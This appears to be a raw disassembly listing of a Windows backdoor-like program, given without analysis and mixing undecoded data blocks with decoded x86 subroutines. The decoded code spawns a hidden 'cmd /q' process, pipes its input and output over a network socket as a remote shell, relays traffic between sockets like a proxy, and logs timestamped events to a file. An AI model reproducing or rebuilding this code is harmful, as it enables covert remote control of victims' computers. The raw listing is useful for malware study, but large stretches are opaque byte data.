0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB6B8h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CB604h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB6B015h, 858D5000h dd 0FFFFFBECh, 43492068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 64888924h dd 8D0043E5h, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0F47EE850h, 8B900226h, 0C969B84Dh, 234h dd 8189C63Bh, 43E574h, 75391374h, 37850FC8h, 6AFFFFFFh dd 0C1E89032h, 0EB0226F3h, 0FBE9E8EDh, 50900226h, 4348E468h dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h, 50004CB5h dd 0FBEC858Dh, 0AC68FFFFh, 50004348h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB6BC15h, 15FF5300h dd 4CB6BCh, 0B57C15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 2CFD98E8h, 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E56C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 268082Fh push eax push offset unk_434A44 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 268082Fh push eax push offset unk_434A44 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 269062Fh loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2780CF8h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 268082Fh push eax push offset unk_434A10 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j call near ptr 269062Fh nop push 1 push dword ptr [esi+8] nop call near ptr 2710BE6h loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB6BC push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 268082Fh push eax push offset unk_434AF4 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 268082Fh push eax push offset unk_434AB4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_434A8C call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2720000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2660ADCh test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E568[eax], ecx nop call near ptr 2660843h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 268082Fh push eax push offset unk_434B34 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CB674 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_434B74 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB63C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 2780DEBh nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CB674 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2700000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 2415FFC0h, 6A004CB6h, 26A5706h, 0EE458966h dd 0FFF07589h, 4CB6A415h, 8BF88B00h, 0C069C445h, 234h dd 6CB88953h, 8D0043E5h, 5750EC45h, 0B65015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 4C15FF57h, 85004CB6h, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0BF7C68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB6B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B6B015FFh, 8D50004Ch, 0FFFD2C85h, 4C2068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43E564h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 226ED70h dd 0C84D8B90h, 234C969h, 0C63B0000h, 0E5748189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 26ECB3E8h, 0E8EDEB02h dd 226F4DBh, 858D5090h, 0FFFFFD2Ch, 434BE468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B6BC15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 434BB0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 92E89056h, 5F022CF6h, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 6CB68D5Fh, 890043E5h, 0ACB8h dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh dd 85004CB6h, 0FF1875C0h, 0BC15FF36h, 0FF004CB6h, 0C7E80875h dd 59FFFF9Fh, 0EE89053h, 53022CF6h, 0FB30858Dh, 868FFFFh dd 50000004h, 15FF36FFh, 4CB63Ch, 187FC085h, 15FF36FFh dd 4CB6BCh, 0E80875FFh, 0FFFF9F96h, 0DEE85359h, 90022CF5h dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh dd 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h, 0FFFB3885h dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h dd 50FFFFFBh, 434CE868h, 3D52E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh dd 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0B67415FFh, 36FF004Ch, 0B6BC15FFh, 75FF004Ch, 9F00E808h dd 5359FFFFh, 0F547E890h, 106A022Ch, 53E8458Dh, 0A06AE850h dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh dd 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h, 0B6A415FFh dd 0F88B004Ch, 75FFFF83h, 0B815FF5Dh, 50004CB5h, 434CA868h dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B67415FFh, 36FF004Ch dd 0B6BC15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh, 0F4AFE890h dd 458D022Ch, 50106AE8h, 0CC15FF57h, 83004CB5h, 5D75FFF8h dd 0B5B815FFh, 6850004Ch, 434C64h, 3C4BE8h, 4006800h, 858D0000h dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h dd 4CB67415h, 0FF36FF00h, 4CB6BC15h, 875FF00h, 0FF9DF9E8h dd 905359FFh, 2CF440E8h, 4006802h, 858D0000h, 0FFFFFB38h dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h, 4CB67415h dd 5736FF00h, 39E8h, 57595900h, 0B6BC15FFh, 36FF004Ch dd 0B6BC15FFh, 75FF004Ch, 9D9CE808h, 5359FFFFh, 0F3E3E890h dd 36FF022Ch, 0B6BC15FFh, 75FF004Ch, 9D84E808h, 5359FFFFh dd 2CF3CCE8h db 2, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB60C lea eax, [ebp-104h] push eax push ebx call dword_4CB510 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB63C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CB674 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB510 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB63C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CB674 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CB6A415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h dd 390226E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2CF22CE8h, 458D9002h dd 50046AF0h, 0FFFFBFh, 57046A00h, 415FF56h, 8D004CB6h dd 46AEC45h, 57FB6A50h, 415FF56h, 8B004CB6h, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43E56Ch, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0B62415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0B65015FFh dd 0F883004Ch, 681975FFh, 1388h, 26E74FE8h, 8DFF9002h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 26E71BE8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 0F13BE890h, 7D8B022Ch, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CB60C15h, 0FC08500h, 2398Eh dd 0D7D8A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0B5FC15FFh, 75FF004Ch dd 0F84589C8h, 0B6B015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CB68815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434D54h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CB688h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 3468FFFFh, 5000434Dh, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CE12C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 2868096Ah, 5600434Dh, 0B68815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB6BC15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 66E89053h, 68022CEEh dd 3E8h, 0E3FAE890h, 0E8570226h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax call near ptr 2790000h nop lea eax, [ebp-114h] push 104h push eax call near ptr 2670B96h nop lea eax, [ebp-114h] push offset asc_435514 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429114 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_4354E4 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0B5A815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0B5C015FFh dd 0BB004Ch, 6A000002h, 0A9E89008h, 0FF0226E2h, 4CB5A815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0B5C015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 435544h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 